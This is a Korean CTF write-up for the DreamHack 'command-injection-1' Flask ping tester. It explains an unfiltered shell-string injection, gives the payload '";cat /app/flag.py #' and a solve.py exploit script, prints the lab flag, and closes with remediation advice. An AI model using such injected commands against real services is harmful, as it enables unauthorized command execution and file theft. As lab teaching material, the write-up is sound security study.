[๐ŸŒฑ ์ƒˆ์‹น] ๋”ฐ์˜ดํ‘œ ํ•˜๋‚˜๋กœ ์…ธ์„ ๊ฐ€๋ฅธ๋‹ค โ€” DreamHack command-injection-1 ํ’€์ด

2026-06-21ยท1๋ถ„ ์ฝ๊ธฐยท

[๐ŸŒฑ ์ƒˆ์‹น] ๋”ฐ์˜ดํ‘œ ํ•˜๋‚˜๋กœ ์…ธ์„ ๊ฐ€๋ฅธ๋‹ค โ€” DreamHack command-injection-1 ํ’€์ด

ping ํ…Œ์Šคํ„ฐ๊ฐ€ ์ž…๋ ฅํ•œ host๋ฅผ ping -c 3 "{host}" ๋ฌธ์ž์—ด๋กœ ๋งŒ๋“ค์–ด /bin/sh -c ๋กœ ์‹คํ–‰ํ•œ๋‹ค. ํ•„ํ„ฐ๊ฐ€ ํ•œ ์ค„๋„ ์—†์–ด์„œ, ํฐ๋”ฐ์˜ดํ‘œ๋ฅผ ๋‹ซ๊ณ  cat /app/flag.py ๋ฅผ ๋ผ์›Œ ๋„ฃ์€ ๋’ค ๋์˜ #๋กœ ๋‹ซ๋Š” ๋”ฐ์˜ดํ‘œ๋ฅผ ์ฃผ์„ ์ฒ˜๋ฆฌํ•˜๋ฉด ํ”Œ๋ž˜๊ทธ๊ฐ€ ping ๊ฒฐ๊ณผ ์ž๋ฆฌ์— ๊ทธ๋Œ€๋กœ ์ถœ๋ ฅ๋œ๋‹ค.

๋ฌธ์ œ: DreamHack โ€” command-injection-1 ๋ถ„๋ฅ˜: Web (OS Command Injection) ๋‚œ์ด๋„: ๐ŸŒฑ ์ƒˆ์‹น (Sprout) FLAG: DH{pingpingppppppppping!!}

"Dreamhack Ping Tester"๋ผ๋Š” ์ด๋ฆ„ ๊ทธ๋Œ€๋กœ, IP๋ฅผ ๋„ฃ์œผ๋ฉด ์„œ๋ฒ„๊ฐ€ ping์„ ๋Œ๋ ค ๊ฒฐ๊ณผ๋ฅผ ๋ณด์—ฌ์ฃผ๋Š” ํŽ˜์ด์ง€๋‹ค. ํ™”๋ฉด์€ ๋‹จ์ˆœํ•˜์ง€๋งŒ ์ž…๋ ฅํ•œ ๊ฐ’์ด ์…ธ ๋ช…๋ น ๋ฌธ์ž์—ด์— ๊ทธ๋Œ€๋กœ ๋“ค์–ด๊ฐ€๋Š” ์ „ํ˜•์ ์ธ ์ปค๋งจ๋“œ ์ธ์ ์…˜ ๋ฌธ์ œ๋‹ค. ๋”ฐ์˜ดํ‘œ ์•ˆ์— ๋“ค์–ด๊ฐ€ ์žˆ์–ด์„œ ํ•œ ๋ฒˆ ๋‹ซ์•„์ฃผ๋Š” ๊ฒƒ๋งŒ ์ถ”๊ฐ€ํ•˜๋ฉด ๋œ๋‹ค.

๋ฉ”์ธ ํŽ˜์ด์ง€ โ€” Ping Tester
๋ฉ”์ธ ํŽ˜์ด์ง€ โ€” Ping Tester

๋ฌธ์ œ ๊ฐœ์š”

ํ•ญ๋ชฉ๋‚ด์šฉ
๋ฌธ์ œ๋ช…command-injection-1
๋‚œ์ด๋„๐ŸŒฑ ์ƒˆ์‹น (Sprout)
๋ถ„๋ฅ˜Web (OS Command Injection)
์ œ๊ณตFlask ์†Œ์Šค + ์„œ๋ฒ„
ํ•ต์‹ฌ ์ทจ์•ฝ์ ์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ f-string์œผ๋กœ ์…ธ ๋ช…๋ น์— ๊ทธ๋Œ€๋กœ ์‚ฝ์ž…

๋ฌธ์ œ ์••์ถ•์„ ํ’€๋ฉด Flask ์•ฑ ํ•˜๋‚˜๊ฐ€ ์ „๋ถ€๋‹ค. / ๋Š” ์•ˆ๋‚ด ํŽ˜์ด์ง€, /ping ์ด ์‹ค์ œ ๊ธฐ๋Šฅ์ด๋‹ค.


๋ถ„์„

์„œ๋ฒ„ ์ฝ”๋“œ

app.py์˜ ํ•ต์‹ฌ์€ /ping ๋ผ์šฐํŠธ๋‹ค.

@APP.route('/ping', methods=['GET', 'POST'])
def ping():
    if request.method == 'POST':
        host = request.form.get('host')
        cmd = f'ping -c 3 "{host}"'
        try:
            output = subprocess.check_output(['/bin/sh', '-c', cmd], timeout=5)
            return render_template('ping_result.html', data=output.decode('utf-8'))
        except subprocess.TimeoutExpired:
            return render_template('ping_result.html', data='Timeout !')
        except subprocess.CalledProcessError:
            return render_template('ping_result.html', data=f'an error occurred while executing the command. -> {cmd}')
 
    return render_template('ping.html')

๋ฌธ์ œ๊ฐ€ ๋˜๋Š” ์ค„์€ ๋”ฑ ๋‘ ๊ฐœ๋‹ค.

cmd = f'ping -c 3 "{host}"'
output = subprocess.check_output(['/bin/sh', '-c', cmd], timeout=5)

host๋ฅผ ํฐ๋”ฐ์˜ดํ‘œ๋กœ ๊ฐ์‹ธ ๋ช…๋ น ๋ฌธ์ž์—ด์„ ๋งŒ๋“  ๋’ค, ๊ทธ ๋ฌธ์ž์—ด์„ ํ†ต์งธ๋กœ /bin/sh -c ์— ๋„˜๊ธด๋‹ค. subprocess๋ฅผ ๋ฆฌ์ŠคํŠธ ํ˜•ํƒœ๋กœ ํ˜ธ์ถœํ•˜๊ธด ํ–ˆ์ง€๋งŒ ์ •์ž‘ ๊ทธ ๋ฆฌ์ŠคํŠธ๊ฐ€ ['/bin/sh', '-c', cmd] ๋ผ, ์…ธ์ด cmd ๋ฌธ์ž์—ด์„ ๋‹ค์‹œ ํŒŒ์‹ฑํ•œ๋‹ค. ์ž…๋ ฅ ๊ฒ€์ฆ์€ ์–ด๋””์—๋„ ์—†๋‹ค. ํฐ๋”ฐ์˜ดํ‘œ ์•ˆ์— ๊ฐ‡ํ˜€ ์žˆ๋‹ค๋Š” ์ ๋งŒ ๋นผ๋ฉด ์ž…๋ ฅ์„ ๊ทธ๋Œ€๋กœ ์…ธ์— ๋˜์ง€๋Š” ์…ˆ์ด๋‹ค.

ํ”Œ๋ž˜๊ทธ๊ฐ€ ์–ด๋”” ์žˆ๋Š”์ง€๋Š” flag.py ํ•œ ์ค„๋กœ ๋ช…ํ™•ํ•˜๋‹ค.

FLAG = 'DH{[REDACTED]}'

app.py๊ฐ€ from flag import FLAG ๋กœ ๊ฐ€์ ธ์˜ค๋‹ˆ, ์ปจํ…Œ์ด๋„ˆ ์•ˆ์—์„œ /app/flag.py ๋งŒ ์ฝ์œผ๋ฉด ๋์ด๋‹ค. Dockerfile์„ ๋ณด๋ฉด WORKDIR /app ์ด๊ณ  ์†Œ์Šค๊ฐ€ /app ์œผ๋กœ ๋ณต์‚ฌ๋˜๋ฏ€๋กœ ๊ฒฝ๋กœ๋„ ํ™•์‹คํ•˜๋‹ค.

์ •์ƒ ๋™์ž‘ ํ™•์ธ

/ping ์— ๋“ค์–ด๊ฐ€๋ฉด host ์ž…๋ ฅ ํผ์ด ํ•˜๋‚˜ ์žˆ๋‹ค.

/ping ์ž…๋ ฅ ํผ
/ping ์ž…๋ ฅ ํผ

ํ‰๋ฒ”ํ•˜๊ฒŒ 8.8.8.8 ์„ ๋„ฃ์œผ๋ฉด ์„œ๋ฒ„๊ฐ€ ping์„ 3๋ฒˆ ๋Œ๋ ค ๊ทธ ๊ฒฐ๊ณผ๋ฅผ <pre> ๋กœ ๋ณด์—ฌ์ค€๋‹ค. ์ž…๋ ฅ์ด ์‹ค์ œ ์…ธ ๋ช…๋ น์˜ ์ธ์ž๋กœ ๋“ค์–ด๊ฐ„๋‹ค๋Š” ๊ฒŒ ๋ˆˆ์œผ๋กœ ํ™•์ธ๋œ๋‹ค.

์ •์ƒ ping ๊ฒฐ๊ณผ
์ •์ƒ ping ๊ฒฐ๊ณผ


์‚ฝ์งˆ โ€” ํด๋ผ์ด์–ธํŠธ ๊ฒ€์ฆ์— ๋ง‰ํžˆ๋‹ค

ํผ์˜ HTML์„ ๋ณด๋ฉด ์ž…๋ ฅ์นธ์— pattern ์†์„ฑ์ด ๊ฑธ๋ ค ์žˆ๋‹ค.

<input type="text" class="form-control" id="Host" placeholder="8.8.8.8"
       name="host" pattern="[A-Za-z0-9.]{5,20}" required>

์˜๋ฌธ/์ˆซ์ž/์ ๋งŒ, 5~20๊ธ€์ž. ๊ทธ๋ž˜์„œ ๋ธŒ๋ผ์šฐ์ €์—์„œ ";cat /app/flag.py # ๊ฐ™์€ ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋„ฃ๊ณ  Ping! ์„ ๋ˆ„๋ฅด๋ฉด ์ „์†ก ์ž์ฒด๊ฐ€ ๋ง‰ํžŒ๋‹ค.

โ–ถ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ๋ง‰์•„๋ฒ„๋ฆฐ ํ™”๋ฉด
pattern ๊ฒ€์ฆ์— ๋ง‰ํžŒ ๋ชจ์Šต
pattern ๊ฒ€์ฆ์— ๋ง‰ํžŒ ๋ชจ์Šต

"์š”์ฒญํ•œ ํ˜•์‹๊ณผ ์ผ์น˜์‹œํ‚ค์„ธ์š”." HTML5 pattern ์˜ ๊ธฐ๋ณธ ๊ฒ€์ฆ ๋ฉ”์‹œ์ง€๋‹ค.

ํ•˜์ง€๋งŒ ์ด pattern ์€ ํด๋ผ์ด์–ธํŠธ(๋ธŒ๋ผ์šฐ์ €)์—์„œ๋งŒ ๋„๋Š” ๊ฒ€์ฆ์ด๋‹ค. ์„œ๋ฒ„ app.py ์–ด๋””์—๋„ host ํ˜•์‹์„ ๋‹ค์‹œ ํ™•์ธํ•˜๋Š” ์ฝ”๋“œ๊ฐ€ ์—†๋‹ค. ์ฆ‰ ๋ธŒ๋ผ์šฐ์ €๋ฅผ ๊ฑฐ์น˜์ง€ ์•Š๊ณ  POST ์š”์ฒญ์„ ์ง์ ‘ ๋ณด๋‚ด๋ฉด(๋˜๋Š” ๊ฐœ๋ฐœ์ž๋„๊ตฌ๋กœ pattern ์†์„ฑ์„ ์ง€์šฐ๋ฉด) ๊ทธ๋ƒฅ ํ†ต๊ณผํ•œ๋‹ค. ํด๋ผ์ด์–ธํŠธ ๊ฒ€์ฆ์€ UX์šฉ ๊ฐ€๋“œ๋ ˆ์ผ์ผ ๋ฟ, ๋ณด์•ˆ ๊ฒฝ๊ณ„๊ฐ€ ์•„๋‹ˆ๋ผ๋Š” ๊ต๊ณผ์„œ ๊ฐ™์€ ์‚ฌ๋ก€๋‹ค.

curl ํ•œ ์ค„์ด๋ฉด ํผ์˜ ์ œ์•ฝ๊ณผ ๋ฌด๊ด€ํ•˜๊ฒŒ ์›ํ•˜๋Š” ๊ฐ’์„ ๊ทธ๋Œ€๋กœ ๋ณด๋‚ผ ์ˆ˜ ์žˆ๋‹ค.

curl -s -X POST http://host3.dreamhack.games:12209/ping \
     --data-urlencode 'host=8.8.8.8'

ํŽ˜์ด๋กœ๋“œ ์„ค๊ณ„

๋ช…๋ น ๋ฌธ์ž์—ด์ด ๋งŒ๋“ค์–ด์ง€๋Š” ๋ชจ์–‘์„ ๋‹ค์‹œ ๋ณด์ž.

cmd = f'ping -c 3 "{host}"'
        โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜ โ””โ”€โ”˜
         ๊ณ ์ • ๋ถ€๋ถ„    ์šฐ๋ฆฌ๊ฐ€ ๋„ฃ๋Š” host

host ์•ž๋’ค๋กœ ํฐ๋”ฐ์˜ดํ‘œ๊ฐ€ ํ•˜๋‚˜์”ฉ ๋ถ™๋Š”๋‹ค. ๊ทธ๋ž˜์„œ ๋จผ์ € ๋”ฐ์˜ดํ‘œ(")๋ฅผ ํ•˜๋‚˜ ๋‹ซ์•„ ping -c 3 "" ๋กœ ๋๋‚ด๊ณ , ; ๋กœ ์ƒˆ ๋ช…๋ น์„ ์‹œ์ž‘ํ•œ ๋‹ค์Œ cat /app/flag.py ๋ฅผ ์ ๋Š”๋‹ค. ๋ฌธ์ œ๋Š” ํ…œํ”Œ๋ฆฟ์ด ๋งˆ์ง€๋ง‰์— ๋‹ซ๋Š” ๋”ฐ์˜ดํ‘œ ํ•˜๋‚˜๋ฅผ ๋” ๋ถ™์ธ๋‹ค๋Š” ๊ฒƒ โ€” ๊ทธ๋Œ€๋กœ ๋‘๋ฉด ์ง์ด ์•ˆ ๋งž์•„ ์…ธ์ด ์—๋Ÿฌ๋ฅผ ๋‚ธ๋‹ค. ๋์— # ๋ฅผ ๋‘์–ด ๊ทธ ๋’ค๋ฅผ ํ†ต์งธ๋กœ ์ฃผ์„ ์ฒ˜๋ฆฌํ•˜๋ฉด ๊น”๋”ํ•˜๊ฒŒ ์ •๋ฆฌ๋œ๋‹ค.

host = ";cat /app/flag.py #

์ด๊ฑธ ๋„ฃ์œผ๋ฉด ์…ธ์ด ๋ฐ›๋Š” ์ตœ์ข… ๋ฌธ์ž์—ด์€ ์ด๋ ‡๊ฒŒ ๋œ๋‹ค.

ping -c 3 "";cat /app/flag.py #"

/bin/sh ๋Š” ์ด๊ฑธ ; ๊ธฐ์ค€์œผ๋กœ ์„ธ ํ† ๋ง‰์œผ๋กœ ๋ณธ๋‹ค.

์…ธ์ด ๋ช…๋ น์„ ์„ธ ํ† ๋ง‰์œผ๋กœ ํ•ด์„
์…ธ์ด ๋ช…๋ น์„ ์„ธ ํ† ๋ง‰์œผ๋กœ ํ•ด์„

์—ฌ๊ธฐ์„œ # ๊ฐ€ ์ค‘์š”ํ•œ ์ด์œ ๊ฐ€ ํ•œ ๊ฐ€์ง€ ๋” ์žˆ๋‹ค. app.py ๋Š” subprocess.check_output ์„ ์“ฐ๋Š”๋ฐ, ์ด ํ•จ์ˆ˜๋Š” ๋ช…๋ น์ด 0์ด ์•„๋‹Œ ์ฝ”๋“œ๋กœ ๋๋‚˜๋ฉด CalledProcessError ๋ฅผ ๋˜์ง€๊ณ , ๊ทธ๋Ÿฌ๋ฉด ์ฝ”๋“œ๊ฐ€ ์ถœ๋ ฅ ๋Œ€์‹  ์—๋Ÿฌ ํ…œํ”Œ๋ฆฟ์„ ๋ณด์—ฌ์ค€๋‹ค. ๋งˆ์ง€๋ง‰์— ์‹คํ–‰๋˜๋Š” ๋ช…๋ น์ด cat /app/flag.py(์กด์žฌํ•˜๋Š” ํŒŒ์ผ โ†’ ์ข…๋ฃŒ์ฝ”๋“œ 0)๊ฐ€ ๋˜๋„๋ก # ๋กœ ๋’ค๋ฅผ ์ž˜๋ผ์ฃผ๋ฉด, ์ „์ฒด๊ฐ€ 0์œผ๋กœ ๋๋‚˜ ์ถœ๋ ฅ์ด ์ •์ƒ์ ์œผ๋กœ ์‘๋‹ต์— ์‹ค๋ฆฐ๋‹ค. ์ค‘๊ฐ„์˜ ๋นˆ ping -c 3 "" ๊ฐ€ ์‹คํŒจํ•˜๋“  ๋ง๋“  ๋งˆ์ง€๋ง‰ ๋ช…๋ น์˜ ์ข…๋ฃŒ์ฝ”๋“œ๋งŒ ๋ณด๋ฉด ๋˜๋‹ˆ ์ƒ๊ด€์—†๋‹ค.

๋”ฐ์˜ดํ‘œ๋ฅผ ๋‹ซ๊ณ  ๋ช…๋ น ํ•˜๋‚˜๋งŒ ๋ผ์›Œ ๋„ฃ๋Š”๋‹ค โ€” ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ๋„, ์„œ๋ฒ„์ธก ํ˜•์‹ ๊ฒ€์‚ฌ๋„ ์—†์œผ๋‹ˆ ์šฐํšŒ๋ž„ ๊ฒƒ๋„ ์—†๋Š” ๊ฐ€์žฅ ๊ธฐ๋ณธํ˜• ์ธ์ ์…˜์ด๋‹ค.


์ต์Šคํ”Œ๋กœ์ž‡

์š”์ฒญ์„ ์ง์ ‘ ๋ณด๋‚ด๊ณ  ์‘๋‹ต์˜ <pre> ๋งŒ ๋ฝ‘์•„๋‚ด๋Š” ์งง์€ ์Šคํฌ๋ฆฝํŠธ๋กœ ์ •๋ฆฌํ–ˆ๋‹ค.

# solve.py
import re, sys, html, urllib.request, urllib.parse
 
BASE = sys.argv[1] if len(sys.argv) > 1 else "http://host3.dreamhack.games:12209"
 
def ping(host: str) -> str:
    data = urllib.parse.urlencode({"host": host}).encode()
    req = urllib.request.Request(BASE.rstrip("/") + "/ping", data=data)
    body = urllib.request.urlopen(req, timeout=10).read().decode("utf-8", "replace")
    m = re.search(r"<pre>(.*?)</pre>", body, re.S)
    return html.unescape(m.group(1)).strip() if m else "(no <pre> output)"
 
# 1) ์ •์ƒ ๋™์ž‘ ํ™•์ธ
print("[*] ์ •์ƒ ping (8.8.8.8):")
print(ping("8.8.8.8"))
print()
 
# 2) ์ธ์ ์…˜ โ€” ๋”ฐ์˜ดํ‘œ ๋‹ซ๊ณ  cat ์ฃผ์ž…, ๋์˜ #๋กœ ๋‹ซ๋Š” ๋”ฐ์˜ดํ‘œ ์ฃผ์„์ฒ˜๋ฆฌ
payload = '";cat /app/flag.py #'
print(f"[*] ํŽ˜์ด๋กœ๋“œ: host={payload!r}")
out = ping(payload)
print("[*] ์‘๋‹ต <pre>:")
print(out)
 
# 3) ํ”Œ๋ž˜๊ทธ ์ถ”์ถœ
flag = re.search(r"DH\{[^}]*\}", out)
if flag:
    print()
    print("[+] FLAG:", flag.group(0))

์‹คํ–‰ํ•˜๋ฉด ์ •์ƒ ping ๊ฒฐ๊ณผ๊ฐ€ ํ•œ ๋ฒˆ ์ฐํžˆ๊ณ , ์ด์–ด์„œ ์ธ์ ์…˜ ์‘๋‹ต ์ž๋ฆฌ์— flag.py ์˜ ๋‚ด์šฉ์ด ๊ทธ๋Œ€๋กœ ๋‚˜์˜จ๋‹ค.

solve.py ์‹คํ–‰ โ€” ํ”Œ๋ž˜๊ทธ ํš๋“
solve.py ์‹คํ–‰ โ€” ํ”Œ๋ž˜๊ทธ ํš๋“

๋ธŒ๋ผ์šฐ์ €์—์„œ๋„ ๋˜‘๊ฐ™์ด ์žฌํ˜„๋œ๋‹ค. ๊ฐœ๋ฐœ์ž๋„๊ตฌ๋กœ pattern ์†์„ฑ๋งŒ ์ง€์šฐ๊ณ  ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋„ฃ์€ ๋’ค,

ํŽ˜์ด๋กœ๋“œ ์ž…๋ ฅ
ํŽ˜์ด๋กœ๋“œ ์ž…๋ ฅ

Ping! ์„ ๋ˆ„๋ฅด๋ฉด ping ๊ฒฐ๊ณผ๊ฐ€ ์žˆ์–ด์•ผ ํ•  <pre> ์ž๋ฆฌ์— FLAG = 'DH{...}' ๊ฐ€ ๋–  ์žˆ๋‹ค.

ํ”Œ๋ž˜๊ทธ ํš๋“
ํ”Œ๋ž˜๊ทธ ํš๋“
DH{pingpingppppppppping!!}

๋ฐฉ์–ด โ€” ์–ด๋–ป๊ฒŒ ๋ง‰๋‚˜

์ด ๋ฌธ์ œ์˜ ๊ทผ๋ณธ ์›์ธ์€ ์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ ์…ธ ๋ช…๋ น ๋ฌธ์ž์—ด๋กœ ํ•ฉ์นœ ๊ฒƒ์ด๋‹ค. ๋ง‰๋Š” ๋ฐฉํ–ฅ์€ ๋ถ„๋ช…ํ•˜๋‹ค.

1. ์…ธ์„ ๊ฑฐ์น˜์ง€ ์•Š๋Š”๋‹ค. ping ๊ฐ™์€ ์™ธ๋ถ€ ๋ช…๋ น์€ ์…ธ ๋ฌธ์ž์—ด์ด ์•„๋‹ˆ๋ผ ์ธ์ž ๋ฆฌ์ŠคํŠธ๋กœ ์ง์ ‘ ์‹คํ–‰ํ•œ๋‹ค. ์…ธ์ด ํŒŒ์‹ฑํ•  ๋ฌธ์ž์—ด ์ž์ฒด๊ฐ€ ์—†์œผ๋‹ˆ ๋ฉ”ํƒ€๋ฌธ์ž๋ฅผ ๋„ฃ์„ ์ž๋ฆฌ๋„ ์‚ฌ๋ผ์ง„๋‹ค.

# ๋‚˜์จ: ์…ธ์ด ๋ฌธ์ž์—ด์„ ๋‹ค์‹œ ํŒŒ์‹ฑํ•œ๋‹ค
subprocess.check_output(['/bin/sh', '-c', f'ping -c 3 "{host}"'])
 
# ์ข‹์Œ: ์ธ์ž๋ฅผ ๋ฆฌ์ŠคํŠธ๋กœ โ€” host ๋Š” ping ์˜ ์ธ์ž ํ•œ ๊ฐœ๋กœ๋งŒ ์ „๋‹ฌ
subprocess.check_output(['ping', '-c', '3', host])

๋ฆฌ์ŠคํŠธ๋กœ ๋„˜๊ธฐ๋ฉด host ๊ฐ€ ";cat ..." ์ด๋“  ๋ญ๋“  ๊ทธ๊ฑด ๊ทธ๋ƒฅ "ํ•‘์„ ๋ณด๋‚ผ ํ˜ธ์ŠคํŠธ ์ด๋ฆ„"์ผ ๋ฟ์ด๋ผ, ping์ด "์ด๋ฆ„ ๋ชป ์ฐพ์Œ" ์—๋Ÿฌ๋ฅผ ๋‚ผ ๋ฟ ๋ช…๋ น์ด ์‹คํ–‰๋˜์ง€ ์•Š๋Š”๋‹ค.

2. ์ž…๋ ฅ์€ ์„œ๋ฒ„์—์„œ ๊ฒ€์ฆํ•œ๋‹ค. HTML pattern ์€ ์‚ฌ์šฉ์ž ํŽธ์˜์ผ ๋ฟ์ด๋‹ค. ํ˜ธ์ŠคํŠธ/IP๋งŒ ๋ฐ›์•„์•ผ ํ•œ๋‹ค๋ฉด ์„œ๋ฒ„์—์„œ๋„ ์ •๊ทœ์‹ยทipaddress ๋ชจ๋“ˆ ๋“ฑ์œผ๋กœ ๋‹ค์‹œ ํ™•์ธํ•ด์•ผ ํ•œ๋‹ค. ํด๋ผ์ด์–ธํŠธ ๊ฒ€์ฆ์€ ์šฐํšŒ๋˜๋Š” ๊ฒƒ์„ ์ „์ œ๋กœ ๋‘”๋‹ค.

3. ๊ตณ์ด ์…ธ์ด ํ•„์š”ํ•˜๋ฉด ์ด์Šค์ผ€์ดํ”„ํ•œ๋‹ค. ์…ธ ํ˜ธ์ถœ์ด ๋ถˆ๊ฐ€ํ”ผํ•˜๋‹ค๋ฉด shlex.quote() ๋กœ ์ธ์ž๋ฅผ ๊ฐ์‹ผ๋‹ค. ๋‹ค๋งŒ 1๋ฒˆ(๋ฆฌ์ŠคํŠธ ์ธ์ž)์ด ๊ฐ€๋Šฅํ•˜๋ฉด ๊ทธ์ชฝ์ด ํ•ญ์ƒ ๋‚ซ๋‹ค.

์ƒˆ์‹น ๋‚œ์ด๋„๋‹ต๊ฒŒ ์šฐํšŒ ๊ธฐ๊ต๊ฐ€ ํ•„์š” ์—†๋Š” ๊น”๋”ํ•œ ๊ธฐ๋ณธํ˜•์ด์ง€๋งŒ, "์‚ฌ์šฉ์ž ์ž…๋ ฅ + ์…ธ ๋ฌธ์ž์—ด ์กฐํ•ฉ"์ด๋ผ๋Š” ํŒจํ„ด ํ•˜๋‚˜๊ฐ€ ์–ด๋–ป๊ฒŒ ๊ณง์žฅ ์ž„์˜ ๋ช…๋ น ์‹คํ–‰์œผ๋กœ ์ด์–ด์ง€๋Š”์ง€๋ฅผ ํ•œ๋ˆˆ์— ๋ณด์—ฌ์ฃผ๋Š” ๋ฌธ์ œ์˜€๋‹ค.

์ด ๊ธ€์ด ๋„์›€์ด ๋๋‚˜์š”?

Comments

๋Œ“๊ธ€

0๊ฐœ

๋Œ“๊ธ€์„ ๋‚จ๊ธฐ๋ ค๋ฉด ๋กœ๊ทธ์ธ์ด ํ•„์š”ํ•ด์š”. (๋„ค์ด๋ฒ„ ยท ๊ตฌ๊ธ€ ๊ณ„์ •)

๋Œ“๊ธ€ ๋ถˆ๋Ÿฌ์˜ค๋Š” ์ค‘โ€ฆ

Related

๊ด€๋ จ ๊ธ€

3๊ฐœ
[๐Ÿฅ‰ Bronze 4] ๋”ฐ์˜ดํ‘œ์กฐ์ฐจ ํ•„์š” ์—†๋˜ ์ปค๋งจ๋“œ ์ธ์ ์…˜ โ€” DreamHack command-injection-chatgpt ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 4] ๋”ฐ์˜ดํ‘œ์กฐ์ฐจ ํ•„์š” ์—†๋˜ ์ปค๋งจ๋“œ ์ธ์ ์…˜ โ€” DreamHack command-injection-chatgpt ํ’€์ด

ping ํ…Œ์Šคํ„ฐ์˜ host ์ž…๋ ฅ๊ฐ’์ด ์•„๋ฌด๋Ÿฐ ๊ฐ์‹ธ๊ธฐ(๋”ฐ์˜ดํ‘œ)๋„ ์—†์ด f'ping -c 3 {host}' ๋ฌธ์ž์—ด๋กœ ์กฐ๋ฆฝ๋ผ /bin/sh -c ๋กœ ๊ทธ๋Œ€๋กœ ์‹คํ–‰๋œ๋‹ค. ์„ธ๋ฏธ์ฝœ๋ก  ํ•˜๋‚˜๋งŒ ๋ถ™์—ฌ cat flag.py ๋ฅผ ์ด์–ด ๋ถ™์ด๋ฉด ping ๊ฒฐ๊ณผ ์ž๋ฆฌ์— ํ”Œ๋ž˜๊ทธ๊ฐ€ ๊ทธ๋Œ€๋กœ ์ถœ๋ ฅ๋œ๋‹ค.
#dreamhack#ctf#web+4
2026-07-03#dreamhack +6
[๐Ÿฅ‰ Bronze 1] "IP์ธ์ง€ ๊ฒ€์ฆํ–ˆ๋‹ค"์™€ "์•ˆ์ „ํ•˜๋‹ค"๋Š” ๋‹ค๋ฅธ ๋ง์ด๋‹ค โ€” DreamHack EZ_command_injection ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 1] "IP์ธ์ง€ ๊ฒ€์ฆํ–ˆ๋‹ค"์™€ "์•ˆ์ „ํ•˜๋‹ค"๋Š” ๋‹ค๋ฅธ ๋ง์ด๋‹ค โ€” DreamHack EZ_command_injection ํ’€์ด

ping์„ ๋Œ€์‹  ์‹คํ–‰ํ•ด์ฃผ๋Š” ์›น ์„œ๋น„์Šค. ์„œ๋ฒ„๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ๋„ฃ์€ ๊ฐ’์„ ํŒŒ์ด์ฌ ipaddress.ip_address()๋กœ "์ง„์งœ IP ์ฃผ์†Œ์ธ์ง€" ๊ฒ€์ฆํ•œ ๋‹ค์Œ์—์•ผ ์‰˜ ๋ช…๋ น์— ๋ผ์›Œ ๋„ฃ๋Š”๋‹ค โ€” ์–ผํ• ์•ˆ์ „ํ•ด ๋ณด์ด๋Š” ๋ฐฉ์–ด๋‹ค. ๊ทธ๋Ÿฐ๋ฐ IPv6 ์ฃผ์†Œ ๋’ค์— ๋ถ™๋Š” %์ธํ„ฐํŽ˜์ด์Šค์ด๋ฆ„(scope id) ๋ถ€๋ถ„์€ ๊ทธ ๋‚ด์šฉ์„ ์ „ํ˜€ ๊ฒ€์ฆํ•˜์ง€ ์•Š๊ณ  ๊ทธ๋Œ€๋กœ ๋ณด์กดํ•œ๋‹ค๋Š” ์‚ฌ์‹ค์„ ์•Œ๊ฒŒ ๋˜๋ฉด์„œ, "์œ ํšจํ•œ IP ์ฃผ์†Œ"์ด๋ฉด์„œ ๋™์‹œ์— ์™„์ „ํ•œ ์‰˜ ์ธ์ ์…˜ ํŽ˜์ด๋กœ๋“œ์ธ ๋ฌธ์ž์—ด์„ ๋งŒ๋“ค ์ˆ˜ ์žˆ์—ˆ๋‹ค. ์œ ์ผํ•œ ๊ฑธ๋ฆผ๋Œ์€ ์ ˆ๋Œ€๊ฒฝ๋กœ์— ๋“ค์–ด๊ฐ€๋Š” ์Šฌ๋ž˜์‹œ ํ•˜๋‚˜ โ€” CIDR ํ‘œ๊ธฐ๋ฒ•๊ณผ ํ—ท๊ฐˆ๋ ค ํŒŒ์‹ฑ์ด ๊ฑฐ๋ถ€๋๋‹ค.
#dreamhack#ctf#web+4
2026-07-21#dreamhack +4
[๐Ÿฅ‰ Bronze 2] escapeshellcmd๊ฐ€ ์•ˆ ๋ง‰๋Š” ๊ณต๋ฐฑ โ€” curl ์ธ์ž ์ฃผ์ž…์œผ๋กœ ์›น์…ธ RCE โ€” DreamHack Command Injection Advanced ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 2] escapeshellcmd๊ฐ€ ์•ˆ ๋ง‰๋Š” ๊ณต๋ฐฑ โ€” curl ์ธ์ž ์ฃผ์ž…์œผ๋กœ ์›น์…ธ RCE โ€” DreamHack Command Injection Advanced ํ’€์ด

escapeshellcmd๋Š” ์…ธ ๋ฉ”ํƒ€๋ฌธ์ž๋Š” ๋ง‰์ง€๋งŒ ๊ณต๋ฐฑ๊ณผ ํ•˜์ดํ”ˆ์€ ๊ทธ๋Œ€๋กœ ๋‘”๋‹ค. curl ๋ช…๋ น์— -o ์ธ์ž๋ฅผ ๋ผ์›Œ ๋„ฃ์–ด PHP ์›น์…ธ์„ ์›น๋ฃจํŠธ cache/์— ๋–จ๊ตฐ ๋’ค, ๊ทธ ์›น์…ธ๋กœ ์‹คํ–‰์ „์šฉ ๋ฐ”์ด๋„ˆ๋ฆฌ /flag๋ฅผ ๋Œ๋ ค ํ”Œ๋ž˜๊ทธ๋ฅผ ์–ป์€ ๊ณผ์ •์„ ์ •๋ฆฌํ–ˆ๋‹ค.
#dreamhack#ctf#web+5
2026-06-04#dreamhack +4